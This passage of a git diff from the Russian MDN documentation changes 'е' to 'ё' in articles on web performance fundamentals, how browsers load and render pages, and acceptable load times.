пользователя.</p> -<p>При прочих равных, код, оптимизированный для каких-то иных целей, кроме ощущаемой пользователем производительности (здесь и дальше UPP, user-perceived performance) всегда проигрывает коду, который оптимизирован для UPP. Упрощенно говоря, пользователи предпочитают отзывчивое и плавное приложение, которое обрабатывает 1,000 транзакций к базе данных в секунду грубому неотзывчивому приложению, которое обрабатывает 100,000,000 запросов в секунду. Конечно, это не означает, что другие метрики становятся ненужным, но первой вашей целью должна быть UPP.</p> +<p>При прочих равных, код, оптимизированный для каких-то иных целей, кроме ощущаемой пользователем производительности (здесь и дальше UPP, user-perceived performance) всегда проигрывает коду, который оптимизирован для UPP. Упрощённо говоря, пользователи предпочитают отзывчивое и плавное приложение, которое обрабатывает 1,000 транзакций к базе данных в секунду грубому неотзывчивому приложению, которое обрабатывает 100,000,000 запросов в секунду. Конечно, это не означает, что другие метрики становятся ненужным, но первой вашей целью должна быть UPP.</p> <p>Следующие разделы укажут и объяснят некоторые метрики производительности:</p> @@ -55,7 +55,7 @@ original_slug: Web/Performance/Основы <p>Последний показатель, который нужно упомянуть - это потребление энергии. Подобно использованию памяти, пользователь чувствует потребление памяти опосредованно, отмечая время, через которое устройство начинает изменять воспринимаемую пользователем производительность (UPP). Для минимизации отрицательных эффектов использования энергии, мы должны делать систему экономной.</p> -<p>Для примера, вспомните, как работают мобильные устройства: вы можете включить режим энергосбережения, когда отключаются другие системы. Но есть и более жесткий режим, который включается автоматически, когда заряд уменьшается до 5% - система включает троттлинг процессора, замедляя выполнение всех инструкций.</p> +<p>Для примера, вспомните, как работают мобильные устройства: вы можете включить режим энергосбережения, когда отключаются другие системы. Но есть и более жёсткий режим, который включается автоматически, когда заряд уменьшается до 5% - система включает троттлинг процессора, замедляя выполнение всех инструкций.</p> <p>Всю оставшуюся часть статьи мы будем обсуждать производительность в свете этих показателей.</p> @@ -72,7 +72,7 @@ original_slug: Web/Performance/Основы <p>Элемент Холст (<code>canvas</code>) предоставляет прямой доступ к пиксельному буферу, где разработчик может рисовать.Это даёт разработчику возможность контролировать каждый пиксель во время рендеринга, точно контролировать частоту кадров; но тогда разработчик должен иметь в виду работу с большим количеством разрешений экранов и ориентаций; RTL языками и т.д. Разработчики, работающие напрямую с холстами, используют либо знакомое 2D API, либо API WebGL, достаточно "близкий к железу" и по большей части придерживающийся OpenGL ES 2.0.</p> <div class="note"> -<p><strong>Заметка: </strong>Firefox OS оптимизирована для работы с приложениями, основанными на Web технологиях: <a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript">JavaScript</a> и т.д. За исключением некоторых базовых служб операционной системы, весь код Firefox OS пришел из Web приложений и движка Gecko. Даже оконный менеджер операционной системы написан на HTML, CSS и JavaScript. В связи с тем, что ядро операционной системы написано на этих технологиях, было критически важно соблюсти производительность этих технологий. В Firefox OS не может быть какого-то "запасного выхода". И это очень полезно для разработчиков, потому что теперь сторонние приложения могут использовать все преимущества оптимизации операционной системы. Не существует какого-то "магического зелья производительности", доступного только для предустановленных приложений.</p> +<p><strong>Заметка: </strong>Firefox OS оптимизирована для работы с приложениями, основанными на Web технологиях: <a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript">JavaScript</a> и т.д. За исключением некоторых базовых служб операционной системы, весь код Firefox OS пришёл из Web приложений и движка Gecko. Даже оконный менеджер операционной системы написан на HTML, CSS и JavaScript. В связи с тем, что ядро операционной системы написано на этих технологиях, было критически важно соблюсти производительность этих технологий. В Firefox OS не может быть какого-то "запасного выхода". И это очень полезно для разработчиков, потому что теперь сторонние приложения могут использовать все преимущества оптимизации операционной системы. Не существует какого-то "магического зелья производительности", доступного только для предустановленных приложений.</p> <p>См. <a href="/en-US/docs/Archive/B2G_OS/Firefox_OS_apps/Performance/Firefox_OS_performance_testing">Тестирование производительности Firefox OS</a> для подробностей.</p> </div> @@ -81,7 +81,7 @@ original_slug: Web/Performance/Основы <p>Движок Gecko JavaScript поддерживает just-in-time (JIT) компиляцию. Благодаря этому, логика приложения выполняется примерно так же, как это происходит в других приложениях на виртуальных машинах - например, Java Virtual Machines - а в некоторых случаях эффективность этих приложений близка к "нативному коду".</p> -<p>Инструменты, необходимые для работы с HTML, CSS и Canvas оптимизированы несколькими путями. Например, композиция (этап, известный как Layout) в HTML/CSS и код, отвечающий за графику в Gecko, сделаны таким образом, чтобы уменьшить количество операций ревалидации и перерисовки для общих случаев (например, скроллинг); эти оптимизации включены "по умолчанию", поэтому разработчики пользуются ими бесплатно. Буферы пикселей, отрисованных как для Gecko "автоматически", так и для <code>canvas</code> "вручную", минимизируют количество копий, которые передаются в буфер кадров дисплея. Чтобы достичь этого, Gecko старается избегать создания промежуточных слоев (например, во многих других операционных системах создаются пиксельные фоновые буферы для каждого отдельного приложения), но взамен Gecko использует специальные участки памяти для хранения графических буферов. К этой памяти имеет прямой доступ железо, которое ответственно за формирование картинки. Сложные сцены рендерятся с использованием графического адаптера (видеокарты). А простые сцены, для экономии энергии, рендерятся специальным выделенным железом для композиции, в то время, как графический адаптер находится в режиме ожидания или выключен.</p> +<p>Инструменты, необходимые для работы с HTML, CSS и Canvas оптимизированы несколькими путями. Например, композиция (этап, известный как Layout) в HTML/CSS и код, отвечающий за графику в Gecko, сделаны таким образом, чтобы уменьшить количество операций ревалидации и перерисовки для общих случаев (например, скроллинг); эти оптимизации включены "по умолчанию", поэтому разработчики пользуются ими бесплатно. Буферы пикселей, отрисованных как для Gecko "автоматически", так и для <code>canvas</code> "вручную", минимизируют количество копий, которые передаются в буфер кадров дисплея. Чтобы достичь этого, Gecko старается избегать создания промежуточных слоёв (например, во многих других операционных системах создаются пиксельные фоновые буферы для каждого отдельного приложения), но взамен Gecko использует специальные участки памяти для хранения графических буферов. К этой памяти имеет прямой доступ железо, которое ответственно за формирование картинки. Сложные сцены рендерятся с использованием графического адаптера (видеокарты). А простые сцены, для экономии энергии, рендерятся специальным выделенным железом для композиции, в то время, как графический адаптер находится в режиме ожидания или выключен.</p> <p>Для продвинутых приложений полностью статичный контент скорее является исключением, чем правилом. Такие приложения используют динамический контент, анимируемый с помощью {{ cssxref("animation") }} и {{ cssxref ("transition") }}. Переходы и анимации особенно важны для приложений: разработчики могут использовать CSS для объявления сложного поведения с помощью простого высокоуровнего синтаксиса. С другой стороны, движок Gecko хорошо оптимизирован для того, чтобы рендерить такую анимацию эффективно. В целом, общепринятые анимации передаются к обработке системному компоновщику, который может отрендерить их в эффективном, энергосберегающем режиме. </p> @@ -123,7 +123,7 @@ original_slug: Web/Performance/Основы <p>Web-платформа очень динамична. JavaScript - это динамически типизированный язык, а Web разрешает загружать код, HTML, CSS, изображения и другие ресурсы динамически. Эти функции могут быть использованы для того, чтобы отложить загрузку ресурсов; чтобы сократить критический путь, подвинув загрузку лишнего контента на несколько моментов позже. Такой подход называется "ленивой загрузкой".</p> -<p>Другая проблема, которая может привести к ненужному простою - это ожидание ответа на запросы (например, запрос к базе данных). Чтобы избегать этой проблемы, приложение должно запрашивать данные как можно раньше, еще во время запуска программы. Тогда к моменту, когда данные понадобятся - они уже будут в системе и приложению не придется ждать.</p> +<p>Другая проблема, которая может привести к ненужному простою - это ожидание ответа на запросы (например, запрос к базе данных). Чтобы избегать этой проблемы, приложение должно запрашивать данные как можно раньше, ещё во время запуска программы. Тогда к моменту, когда данные понадобятся - они уже будут в системе и приложению не придётся ждать.</p> <div class="note"> <p><strong>Заметка: </strong>Для дополнительной информации об ускорении запуска ознакомьтесь с <a href="/en-US/Apps/Developing/Performance/Optimizing_startup_performance">Optimizing startup performance</a>.</p> @@ -133,7 +133,7 @@ original_slug: Web/Performance/Основы <h3 id="Частота_кадров_2">Частота кадров</h3> -<p>Первая важная вещь для высокой частоты кадров - это выбор правильного инструмента. Используйте HTML и CSS для создания контента, который будет в основном статическим, прокручиваемым и редко анимируемым. Используйте Canvas для создания высокодинамичного контента, например, игр, которые требуют серьезного контроля рендеринга и не нуждаются в темах.</p> +<p>Первая важная вещь для высокой частоты кадров - это выбор правильного инструмента. Используйте HTML и CSS для создания контента, который будет в основном статическим, прокручиваемым и редко анимируемым. Используйте Canvas для создания высокодинамичного контента, например, игр, которые требуют серьёзного контроля рендеринга и не нуждаются в темах.</p> <p>При отрисовывании контента в Canvas, разработчик должен сам позаботиться о достижении целей по частоте кадров, ведь он получает полный контроль над всем, что отрисовывается.</p> @@ -168,7 +168,7 @@ original_slug: Web/Performance/Основы <p>Вместо использования функции <code>animate()</code> какой-нибудь библиотеки, которая, вероятно, использует много плохих решений (например ({{domxref("window.setTimeout()")}} или анимирование top / left), используйте <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS анимации</a>. Во многих случаях, вы можете использовать <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">CSS Transitions</a>. Использование этих свойств поможет, так как браузер спроектирован так, чтобы оптимизировать эти эффекты и переносить часть вычислений на GPU, чтобы они работали плавно и с минимальным влиянием на процессор. Другое преимущество - вы можете определить эти анимации в CSS декларативным образом, а не в бизнес-логике приложения.</p> -<p>CSS анимации дают вам очень точный контроль эффектов, если вы используете <a href="/en-US/docs/Web/CSS/@keyframes">keyframes</a>. Более того, вы сможете отслеживать события, которые происходят во время анимации, так как основной поток обработки не блокируется. Вы можете с легкостью запускать анимации с помощью {{cssxref(":hover")}}, {{cssxref(":focus")}} или {{cssxref(":target")}}. Или динамически добавляя или удаляя классы элемента.</p> +<p>CSS анимации дают вам очень точный контроль эффектов, если вы используете <a href="/en-US/docs/Web/CSS/@keyframes">keyframes</a>. Более того, вы сможете отслеживать события, которые происходят во время анимации, так как основной поток обработки не блокируется. Вы можете с лёгкостью запускать анимации с помощью {{cssxref(":hover")}}, {{cssxref(":focus")}} или {{cssxref(":target")}}. Или динамически добавляя или удаляя классы элемента.</p> <p>Если вы хотите создавать анимации "на лету" или изменять их с помощью JavaScript, Джеймс Лонг написал простую библиотеку для этого - <a href="https://github.com/jlongster/css-animations.js/">CSS-animations.js</a>.</p> @@ -176,7 +176,7 @@ original_slug: Web/Performance/Основы <p>Вместо того, чтобы изменять абсолютное позиционирование и возиться с этой математикой вручную, используйте свойство {{cssxref("transform")}}, чтобы изменить позицию, масштаб и некоторые другие аспекты вашего контента. Именно так вы используете аппаратное ускорение. Браузер умеет передавать такие задачи графическому процессору, давая возможность ЦПУ заняться другими важными вещами.</p> -<p>К тому же, трансформация даёт возможности, которых в ином случае у вас не было бы. Вы не только можете манипулировать элементом в двумерном пространстве, но можете трансформировать его в 3D, изменять его наклон (скашивать, skew), поворачивать и др. Пол Айриш опубликовал статью <a href="https://paulirish.com/2012/why-moving-elements-with-translate-is-better-than-posabs-topleft/">in-depth analysis of the benefits of <code>translate()</code></a>, в которой проанализировал работу translate с точки зрения производительности. Используя translate/transform вы используете правильный декларативный инструмент и возлагаете ответственность за его оптимизацию на браузер. Вы так же получаете возможность с легкостью позиционировать элементы. Если вы будете использовать только <code>top</code> и <code>left</code>, вам придется написать некоторый дополнительный код, чтобы предусмотреть некоторые особенности такого позиционирования. И последний бонус - с Transform / Translate вы будете работать примерно так же, как работали бы с элементом <code>canvas</code>.</p> +<p>К тому же, трансформация даёт возможности, которых в ином случае у вас не было бы. Вы не только можете манипулировать элементом в двумерном пространстве, но можете трансформировать его в 3D, изменять его наклон (скашивать, skew), поворачивать и др. Пол Айриш опубликовал статью <a href="https://paulirish.com/2012/why-moving-elements-with-translate-is-better-than-posabs-topleft/">in-depth analysis of the benefits of <code>translate()</code></a>, в которой проанализировал работу translate с точки зрения производительности. Используя translate/transform вы используете правильный декларативный инструмент и возлагаете ответственность за его оптимизацию на браузер. Вы так же получаете возможность с лёгкостью позиционировать элементы. Если вы будете использовать только <code>top</code> и <code>left</code>, вам придётся написать некоторый дополнительный код, чтобы предусмотреть некоторые особенности такого позиционирования. И последний бонус - с Transform / Translate вы будете работать примерно так же, как работали бы с элементом <code>canvas</code>.</p> <div class="note"> <p><strong>Заметка:</strong> В некоторых случаях (в зависимости от платформы) вам может понадобиться добавить свойство <code>translateZ(0.1)</code>, если вы хотите заставить клиента перенести вычисление анимаций на графический адаптер. Как было упомянуто выше, это может улучшить производительность, но увеличит потребление памяти. Какое из зол - меньшее - решать вам. Протестируйте оба варианта и выясните, что лучше подходит для вашего приложения.</p> @@ -184,9 +184,9 @@ original_slug: Web/Performance/Основы <h4 id="Используйте_requestAnimationFrame_вместо_setInterval">Используйте <code>requestAnimationFrame()</code> вместо <code>setInterval()</code></h4> -<p>Вызовы {{domxref("window.setInterval()")}} запускают код с учётом предполагаемой частоты кадров. Однако, эта ожидаемая частота и фактическая не всегда совпадают. SetInternal говорит браузеру "нарисуй результаты", даже если браузер не занимается сейчас отрисовкой - такое случается, когда графический адаптер ещё не дошел до следующего цикла обновления экрана. Такое несовпадение таймингов - чрезмерная растрата процессорного времени и даже может приводить к снижению срока службы аккумуляторов пользовательского устройств.</p> +<p>Вызовы {{domxref("window.setInterval()")}} запускают код с учётом предполагаемой частоты кадров. Однако, эта ожидаемая частота и фактическая не всегда совпадают. SetInternal говорит браузеру "нарисуй результаты", даже если браузер не занимается сейчас отрисовкой - такое случается, когда графический адаптер ещё не дошёл до следующего цикла обновления экрана. Такое несовпадение таймингов - чрезмерная растрата процессорного времени и даже может приводить к снижению срока службы аккумуляторов пользовательского устройств.</p> -<p>Вместо этого, вам необходимо использовать {{domxref("window.requestAnimationFrame()")}}. Эта функция ждет, пока клиент не будет готов к формированию следующего кадра анимации и не будет досаждать своими запросами аппаратную часть устройства, если устройство не занимается в данный момент рендерингом. Другое преимущество этого API в том, что такие анимации не будут запускаться, пока ваше приложение не видно на экране (например, если оно выполняется в фоне или занимается другими операциями). Это сохранит батарею и защитит вас от проклятий, которые пользователи будут выкрикивать в небо.</p> +<p>Вместо этого, вам необходимо использовать {{domxref("window.requestAnimationFrame()")}}. Эта функция ждёт, пока клиент не будет готов к формированию следующего кадра анимации и не будет досаждать своими запросами аппаратную часть устройства, если устройство не занимается в данный момент рендерингом. Другое преимущество этого API в том, что такие анимации не будут запускаться, пока ваше приложение не видно на экране (например, если оно выполняется в фоне или занимается другими операциями). Это сохранит батарею и защитит вас от проклятий, которые пользователи будут выкрикивать в небо.</p> <h4 id="Делайте_события_мгновенными">Делайте события мгновенными</h4> @@ -200,7 +200,7 @@ original_slug: Web/Performance/Основы <h2 id="Общий_анализ_производительности">Общий анализ производительности</h2> -<p>Firefox, Chrome и другие браузеры предоставляют встроенные инструменты, которые могут помочь вам диагностировать медленный рендеринг. В частности, <a href="/en-US/docs/Tools/Network_Monitor">Firefox's Network Monitor</a> покажет точное время, когда произошел каждый сетевой запрос, насколько большим он был и как долго обрабатывался.</p> +<p>Firefox, Chrome и другие браузеры предоставляют встроенные инструменты, которые могут помочь вам диагностировать медленный рендеринг. В частности, <a href="/en-US/docs/Tools/Network_Monitor">Firefox's Network Monitor</a> покажет точное время, когда произошёл каждый сетевой запрос, насколько большим он был и как долго обрабатывался.</p> <p><img alt="The Firefox network monitor showing get requests, multiple files, and different times taken to load each resource on a graph." src="https://mdn.mozillademos.org/files/6845/network-monitor.jpg" style="display: block; height: 713px; margin: 0px auto; width: 700px;"></p> @@ -222,4 +222,4 @@ original_slug: Web/Performance/Основы <p>Если инструменты разработчика в Firefox или Chrome не помогают вам выяснить проблему или выглядит так, что браузеры сами по себе создают проблему, попробуйте сформировать тестовое окружение, которое максимально изолирует проблему. Это очень часто помогать диагностировать проблему.</p> -<p>Убедитесь, что вы можете воспроизвести проблему, просто сохраняя и загружая статическую копию HTML-страницы (включая изображения/стили/скрипты). Если так - удалите из HTML файла всю личную информацию и обратитесь к за помощью (отправьте отчет в <a href="https://bugzilla.mozilla.org/">Bugzilla</a> или, например, сохраните файл на своем сервере и поделитесь ссылкой). Вам также понадобится поделиться информацией профилировщика, которую вы собрали с помощью инструментов отладки.</p> +<p>Убедитесь, что вы можете воспроизвести проблему, просто сохраняя и загружая статическую копию HTML-страницы (включая изображения/стили/скрипты). Если так - удалите из HTML файла всю личную информацию и обратитесь к за помощью (отправьте отчёт в <a href="https://bugzilla.mozilla.org/">Bugzilla</a> или, например, сохраните файл на своём сервере и поделитесь ссылкой). Вам также понадобится поделиться информацией профилировщика, которую вы собрали с помощью инструментов отладки.</p> diff --git a/files/ru/web/performance/how_browsers_work/index.html b/files/ru/web/performance/how_browsers_work/index.html index cda110effb..97c05dfae7 100644 --- a/files/ru/web/performance/how_browsers_work/index.html +++ b/files/ru/web/performance/how_browsers_work/index.html @@ -37,11 +37,11 @@ translation_of: Web/Performance/How_browsers_work <h3 id="DNS_запрос">DNS запрос</h3> -<p>Первый шаг навигации к странице - это поиск места, откуда нужно запрашивать данные. Если вы переходите на <code>https://example.com</code>, браузер грузит HTML-код страницы с IP-адреса <code>93.184.216.34</code>. Если вы никогда ранее не были на этом сайте, произойдет поиск DNS записи.</p> +<p>Первый шаг навигации к странице - это поиск места, откуда нужно запрашивать данные. Если вы переходите на <code>https://example.com</code>, браузер грузит HTML-код страницы с IP-адреса <code>93.184.216.34</code>. Если вы никогда ранее не были на этом сайте, произойдёт поиск DNS записи.</p> <p>Ваш браузер запрашивает DNS запись. Как правило, запрос содержит имя сервера, который должен быть преобразован в IP-адрес. Ответ на этот запрос какое-то время будет сохранён в кэше устройства, чтобы его можно было быстро получить при следующем запросе к тому же серверу.</p> -<p>DNS запрос обычно требуется совершить лишь единожды при загрузке страницы. Однако, DNS запросы должны быть выполнены для каждого уникального имени хоста, который запрашивается страницей. Скажем, если ваши шрифты, картинки, скрипты, реклама или счетчики аналитики находятся на разных доменах, DNS запрос будет осуществлен для каждого из них.</p> +<p>DNS запрос обычно требуется совершить лишь единожды при загрузке страницы. Однако, DNS запросы должны быть выполнены для каждого уникального имени хоста, который запрашивается страницей. Скажем, если ваши шрифты, картинки, скрипты, реклама или счётчики аналитики находятся на разных доменах, DNS запрос будет осуществлён для каждого из них.</p> <p><img alt="Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet" src="https://mdn.mozillademos.org/files/16743/latency.jpg" style="height: 281px; width: 792px;"></p> @@ -93,7 +93,7 @@ translation_of: Web/Performance/How_browsers_work <p>Объём первого пакета данных - всегда 14KB. Это часть спецификации {{glossary('TCP slow start')}} - алгоритма, который балансирует скорость соединения. Такое правило позволяет постепенно, по мере необходимости, увеличивать размеры передаваемых данных, пока не будет определена максимальная ширина канала.</p> -<p>В алгоритме {{glossary('TCP slow start')}} каждый следующий отправленный сервером пакет увеличивается в размере в два раза. Например, размер второго пакета будет около 28КБ. Размер пакетов будет увеличиваться до тех пор, пока не достигнет какого-то порогового значения или не упрется в проблему переполнения.</p> +<p>В алгоритме {{glossary('TCP slow start')}} каждый следующий отправленный сервером пакет увеличивается в размере в два раза. Например, размер второго пакета будет около 28КБ. Размер пакетов будет увеличиваться до тех пор, пока не достигнет какого-то порогового значения или не упрётся в проблему переполнения.</p> <p><img alt="TCP slow start" src="https://mdn.mozillademos.org/files/16754/congestioncontrol.jpg" style="height: 412px; width: 729px;"></p> @@ -101,7 +101,7 @@ translation_of: Web/Performance/How_browsers_work <h3 id="Контроль_переполнения">Контроль переполнения</h3> -<p>Любое соединение имеет ограничения, связанные с аппаратной и сетевой системами. Если сервер отправит слишком много пакетов за раз - они могут быть отброшены. Для того, чтобы избежать таких проблем, браузер должен реагировать на получение пакетов и подтверждать, что он получает их. Такой ответ-подтверждение называется Aknowledgements (ACK). Если из-за ограничений соединения браузер не получит данных, то он не пошлёт подтверждений ACK. В этом случае, сервер зарегистрирует, что какие-то пакет не дошли и пошлёт их заново, что приведет к лишней работе сервера и дополнительной нагрузке сети.</p> +<p>Любое соединение имеет ограничения, связанные с аппаратной и сетевой системами. Если сервер отправит слишком много пакетов за раз - они могут быть отброшены. Для того, чтобы избежать таких проблем, браузер должен реагировать на получение пакетов и подтверждать, что он получает их. Такой ответ-подтверждение называется Aknowledgements (ACK). Если из-за ограничений соединения браузер не получит данных, то он не пошлёт подтверждений ACK. В этом случае, сервер зарегистрирует, что какие-то пакет не дошли и пошлёт их заново, что приведёт к лишней работе сервера и дополнительной нагрузке сети.</p> <h2 id="Парсинг">Парсинг</h2> @@ -121,11 +121,11 @@ translation_of: Web/Performance/How_browsers_work <p><img alt="The DOM tree for our sample code, showing all the nodes, including text nodes." src="https://mdn.mozillademos.org/files/16759/DOM.gif" style="height: 689px; width: 754px;"></p> -<p>Когда парсер находит неблокирующие ресурсы (например, изображения), браузер отправляет запрос на загрузку ресурсов, но сам продолжает обработку. Обработка может продолжаться когда обнаружена ссылка на CSS файл, но если обнаружен <code><script></code>, особенно если он без параметров <code>async</code> или <code>defer</code> - такой скрипт считается блокирующим и приостанавливает обработку HTML до завершения загрузки скрипта. Несмотря на то, что сканер предзагрузки (о нём ниже) браузера может находить и запрашивать такие скрипты заранее, сложные и объемные скрипты всё ещё могут стать причиной заметных задержек загрузки страницы.</p> +<p>Когда парсер находит неблокирующие ресурсы (например, изображения), браузер отправляет запрос на загрузку ресурсов, но сам продолжает обработку. Обработка может продолжаться когда обнаружена ссылка на CSS файл, но если обнаружен <code><script></code>, особенно если он без параметров <code>async</code> или <code>defer</code> - такой скрипт считается блокирующим и приостанавливает обработку HTML до завершения загрузки скрипта. Несмотря на то, что сканер предзагрузки (о нём ниже) браузера может находить и запрашивать такие скрипты заранее, сложные и объёмные скрипты всё ещё могут стать причиной заметных задержек загрузки страницы.</p> <h3 id="Сканер_предзагрузки">Сканер предзагрузки</h3> -<p>Построение дерева DOM занимает весь поток процесса. Так как это явно узкое место в производительности, был создан особый сканер предзагрузки. Он обрабатывает доступное содержимое документа и запрашивает высокоприоритетные ресурсы (CSS, JavaScript и шрифты). Благодаря этому сканеру нам не нужно ждать, пока парсер дойдет до конкретного места, где вызывается ресурс. Он запрашивает и получает эти данные заранее, в фоновом режиме, так что когда основной поток HTML-парсера доходит до запроса ресурса, высока вероятность, что ресурс уже запрошен или находится в процессе загрузки. Оптимизации, которые даёт этот сканер, уменьшают время блокирования рендера.</p> +<p>Построение дерева DOM занимает весь поток процесса. Так как это явно узкое место в производительности, был создан особый сканер предзагрузки. Он обрабатывает доступное содержимое документа и запрашивает высокоприоритетные ресурсы (CSS, JavaScript и шрифты). Благодаря этому сканеру нам не нужно ждать, пока парсер дойдёт до конкретного места, где вызывается ресурс. Он запрашивает и получает эти данные заранее, в фоновом режиме, так что когда основной поток HTML-парсера доходит до запроса ресурса, высока вероятность, что ресурс уже запрошен или находится в процессе загрузки. Оптимизации, которые даёт этот сканер, уменьшают время блокирования рендера.</p> <pre class="brush:html notranslate"><link rel="stylesheet" src="styles.css"/> <script src="myscript.js" <strong>async</strong>></script> @@ -141,7 +141,7 @@ translation_of: Web/Performance/How_browsers_work <h3 id="Построение_модели_стилей_CSSOM">Построение модели стилей CSSOM</h3> -<p>Второй шаг при прохождении критического пути рендеринга - это обработка CSS и построение CSSOM дерева. CSSOM (объектная модель CSS) похожа на DOM. И DOM, и CSSOM - это деревья. Они являются независимыми структурами данных. Браузер преобразует CSS файлы в карту стилей, которую он может понять и с которой может работать. Браузер считывает каждый набор правил в CSS, создает дерево узлов с родителями, детьми и соседями, основываясь на CSS селекторах.</p> +<p>Второй шаг при прохождении критического пути рендеринга - это обработка CSS и построение CSSOM дерева. CSSOM (объектная модель CSS) похожа на DOM. И DOM, и CSSOM - это деревья. Они являются независимыми структурами данных. Браузер преобразует CSS файлы в карту стилей, которую он может понять и с которой может работать. Браузер считывает каждый набор правил в CSS, создаёт дерево узлов с родителями, детьми и соседями, основываясь на CSS селекторах.</p> <p>Как и в HTML, браузер должен преобразовать полученные правила CSS во что-то, с чем он может работать. Таким образом, весь этот процесс - это повторение формирования DOM, только для CSS.</p> @@ -169,9 +169,9 @@ translation_of: Web/Performance/How_browsers_work <p>Третий шаг в критическом пути рендеринга - это комбинирование DOM и CSSOM в дерево рендеринга. Конструирование этого дерева начинается с прохода всего DOM-дерева от корня, с выявлением каждого видимого узла.</p> -<p>Элементы, которые не должны быть показаны, например, <code><head></code>, а так же их дети или любые элементы с <code>display:none</code>, такие как <code>script { display: none; }</code>, не будут включены в дерево рендера, так как они не должны быть отрисованы. Узлы с правилом <code>visibility: hidden</code> включены в дерево рендера, так как они все равно занимают своё место. Так как мы не указали никаких специальных правил для перезаписи стилей агента по умолчанию, узел <code>script</code> в примере выше также не будет включен в дерево рендера.</p> +<p>Элементы, которые не должны быть показаны, например, <code><head></code>, а так же их дети или любые элементы с <code>display:none</code>, такие как <code>script { display: none; }</code>, не будут включены в дерево рендера, так как они не должны быть отрисованы. Узлы с правилом <code>visibility: hidden</code> включены в дерево рендера, так как они все равно занимают своё место. Так как мы не указали никаких специальных правил для перезаписи стилей агента по умолчанию, узел <code>script</code> в примере выше также не будет включён в дерево рендера.</p> -<p>Каждый видимый узел имеет свои правила из CSSOM. Дерево рендера содержит все видимые узлы с их содержимым и вычисленными стилями. Стили определяются путем применения всех подходящих правил с использованием <a href="/en-US/docs/Web/CSS/Cascade">CSS каскада.</a></p> +<p>Каждый видимый узел имеет свои правила из CSSOM. Дерево рендера содержит все видимые узлы с их содержимым и вычисленными стилями. Стили определяются путём применения всех подходящих правил с использованием <a href="/en-US/docs/Web/CSS/Cascade">CSS каскада.</a></p> <h3 id="Компоновка_Layout">Компоновка (Layout)</h3> @@ -181,7 +181,7 @@ translation_of: Web/Performance/How_browsers_work <p>На веб-странице практически все элементы прямоугольны (box). Разные устройства и настройки подразумевают бесчисленное количество разных размеров видимой области. На начальной фазе браузер, учитывая размер видимой области, определяет какие размеры разных элементов должны быть на экране. Использует размер видимой области как базис, процесс начинает вычисление с элемента <code>body</code>, затем переходит к его потомкам, вычисляет размеры каждого элемента и резервирует место для тех элементов, размеры которых он ещё не знает (например, изображения).</p> -<p>Момент, когда позиция и размеры узлов вычислены, называется layout. Последующие вычисления позиций и размеров называются reflow. В нашем примере предполагаемый начальный layout происходит перед тем, как изображение получено. Так как мы не задавали размер изображения, в момент получения изображения произойдет reflow.</p> +<p>Момент, когда позиция и размеры узлов вычислены, называется layout. Последующие вычисления позиций и размеров называются reflow. В нашем примере предполагаемый начальный layout происходит перед тем, как изображение получено. Так как мы не задавали размер изображения, в момент получения изображения произойдёт reflow.</p> <h3 id="Отрисовка_Paint">Отрисовка (Paint)</h3> @@ -189,7 +189,7 @@ translation_of: Web/Performance/How_browsers_work <p>Чтобы обеспечить плавную прокрутку и анимацию, отрисовка каждого элемента занимает весь основной поток. Сюда включается вычисление стилей, повторное вычисление стилей и отрисовка. Все эти этапы должны выполняться не дольше 16.67 мс. (1000мс. / 60 кадров в секунду). При разрешении 2048х1536 экран iPad содержит 3.145.000 пикселей, которые должны быть отрисованы. Это много! Для того, чтобы сделать инициирующую и повторную отрисовки быстрее, можно разбить весь процесс на несколько слоёв. Когда это случается - становится необходима композиция.</p> -<p>Отрисовка может разбить элементы в дереве рендера на слои. Для того, чтобы ускорить их рендер, браузер может перенести отрисовку разных слоев на GPU (вместо основного потока CPU). Для переноса вычислений отрисовки на GPU вы можете использовать некоторые специальные HTML теги, например <code><a href="/en-US/docs/Web/HTML/Element/video"><video></a></code> и <code><a href="/en-US/docs/Web/HTML/Element/canvas"><canvas></a></code>; а также CSS-свойства <a href="/en-US/docs/Web/CSS/opacity"><code>opacity</code></a>, <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code> и <code><a href="/en-US/docs/Web/CSS/will-change">will-change</a></code>. Узлы, созданные таким образом, будут отрисованы на их собственном слое, вместе с их потомками, если только потомки сами по себе не будут вынесены в отдельные слои.</p> +<p>Отрисовка может разбить элементы в дереве рендера на слои. Для того, чтобы ускорить их рендер, браузер может перенести отрисовку разных слоёв на GPU (вместо основного потока CPU). Для переноса вычислений отрисовки на GPU вы можете использовать некоторые специальные HTML теги, например <code><a href="/en-US/docs/Web/HTML/Element/video"><video></a></code> и <code><a href="/en-US/docs/Web/HTML/Element/canvas"><canvas></a></code>; а также CSS-свойства <a href="/en-US/docs/Web/CSS/opacity"><code>opacity</code></a>, <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code> и <code><a href="/en-US/docs/Web/CSS/will-change">will-change</a></code>. Узлы, созданные таким образом, будут отрисованы на их собственном слое, вместе с их потомками, если только потомки сами по себе не будут вынесены в отдельные слои.</p> <p>Слои улучшают производительность. Но, с точки зрения управления памяти, они неэффективны. Поэтому старайтесь не использовать их там, где в нет необходимости.</p> diff --git a/files/ru/web/performance/how_long_is_too_long/index.html b/files/ru/web/performance/how_long_is_too_long/index.html index 37a17d18e9..e53c2f96a4 100644 --- a/files/ru/web/performance/how_long_is_too_long/index.html +++ b/files/ru/web/performance/how_long_is_too_long/index.html @@ -13,7 +13,7 @@ translation_of: Web/Performance/How_long_is_too_long <h3 id="Загрузка_контента">Загрузка контента</h3> -<p>Понятие "до секунды" часто считается оптимальным для загрузки. Но что это означает? Правило секунды должно рассматриваться как правило максимального времени, за которое пользователь поймет, что запрос был отправлен и будет загружен. Например, когда браузер принимает заголовок страницы или фоновый цвет и показывает её пользователю.</p> +<p>Понятие "до секунды" часто считается оптимальным для загрузки. Но что это означает? Правило секунды должно рассматриваться как правило максимального времени, за которое пользователь поймёт, что запрос был отправлен и будет загружен. Например, когда браузер принимает заголовок страницы или фоновый цвет и показывает её пользователю.</p> <p>Как правило, первый ресурс, который получает клиент - это HTML документ, который затем делает запрос на загрузку остальных ресурсов. Как было подмечено в <a href="/ru/docs/Web/Performance/Critical_rendering_path">статье о критическом пути рендеринга</a> - как только браузер получает данные, он сразу начинает их обработку, вместо того, чтобы дожидаться загрузки всех 